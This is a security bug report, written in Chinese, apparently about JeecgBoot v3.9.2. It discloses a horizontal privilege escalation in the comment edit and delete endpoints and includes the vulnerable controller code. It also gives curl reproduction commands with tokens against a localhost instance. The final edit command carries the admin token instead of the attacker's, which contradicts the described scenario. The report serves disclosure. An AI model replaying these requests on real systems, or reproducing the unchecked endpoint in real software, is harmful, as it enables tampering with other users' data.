[Security] 系统评论功能存在越权漏洞

[0Xrry]

版本号：

v3.9.2

分支：

master

问题描述：

SysCommentController 的 /sys/comment/edit 接口权限注解被注释，且未校验当前用户是否为评论创建者或具备管理权限。接口直接将请求体中的 SysComment 传入 updateById 更新。

攻击者只要是已登录用户，并通过 /sys/comment/list 或其他方式获取任意评论 id，即可调用 /sys/comment/edit 修改其他用户的评论内容，造成水平越权和评论内容篡改。

相关代码

    @Operation(summary = "系统评论回复表-分页列表查询")
    @GetMapping(value = "/list")
    public Result<IPage<SysComment>> queryPageList(SysComment sysComment,
                                                   @RequestParam(name = "pageNo", defaultValue = "1") Integer pageNo,
                                                   @RequestParam(name = "pageSize", defaultValue = "10") Integer pageSize,
                                                   HttpServletRequest req) {
        QueryWrapper<SysComment> queryWrapper = QueryGenerator.initQueryWrapper(sysComment, req.getParameterMap());
        Page<SysComment> page = new Page<SysComment>(pageNo, pageSize);
        IPage<SysComment> pageList = sysCommentService.page(page, queryWrapper);
        return Result.OK(pageList);
    }


    @Operation(summary = "系统评论回复表-编辑")
    //@RequiresPermissions("org.jeecg.modules.demo:sys_comment:edit")
    @RequestMapping(value = "/edit", method = {RequestMethod.PUT, RequestMethod.POST})
    public Result<String> edit(@RequestBody SysComment sysComment) {
        sysCommentService.updateById(sysComment);
        return Result.OK("编辑成功!");
    }

漏洞复现：

首先登录admin账号拿到token

发表一个评论

登录一个攻击者账号并拿到token，然后根据/sys/comment/list查找到该条记录的id为comment_001

攻击者修改该评论

同理：攻击者可以使用/sys/comment/delete接口删除任意用户的评论。
通过/sys/comment/edit修改任意评论的createBy字段后可以调用/deleteOne删除任意用户的评论和附件

相关命令

curl.exe -s -H "X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImF0dGFja2VyIiwiY2xpZW50VHlwZSI6IkFQUCIsImV4cCI6MTc4MTg0Nzc5NH0.ZQKBoEKJWmpNyxIE9Bn9smz4QGygarJ75elunZkJAhk" "http://localhost:8080/jeecg-boot/sys/comment/list"

'{"id":"comment_001","tableName":"test_table","tableDataId":"test_data","fromUserId":"admin_id","commentContent":"victim original comment"}' | curl.exe -s -X POST -H "X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiY2xpZW50VHlwZSI6IkFQUCIsImV4cCI6MTc4MTg0NzIxN30.K88-fpRbRL-xkk3og5Du4ZHcUJ1W450DVyuyi6vEskw" -H "Content-Type: application/json" --data-binary "@-" "http://localhost:8080/jeecg-boot/sys/comment/add"

curl.exe -s -H "X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImF0dGFja2VyIiwiY2xpZW50VHlwZSI6IkFQUCIsImV4cCI6MTc4MTg0Nzc5NH0.ZQKBoEKJWmpNyxIE9Bn9smz4QGygarJ75elunZkJAhk" "http://localhost:8080/jeecg-boot/sys/comment/list?pageNo=3"

[0Xrry]

'{"id":"comment_001","commentContent":"modified by attacker"}' | curl.exe -s -X PUT -H "X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiY2xpZW50VHlwZSI6IkFQUCIsImV4cCI6MTc4MTg0NzIxN30.K88-fpRbRL-xkk3og5Du4ZHcUJ1W450DVyuyi6vEskw" -H "Content-Type: application/json" --data-binary "@-" "http://localhost:8080/jeecg-boot/sys/comment/edit"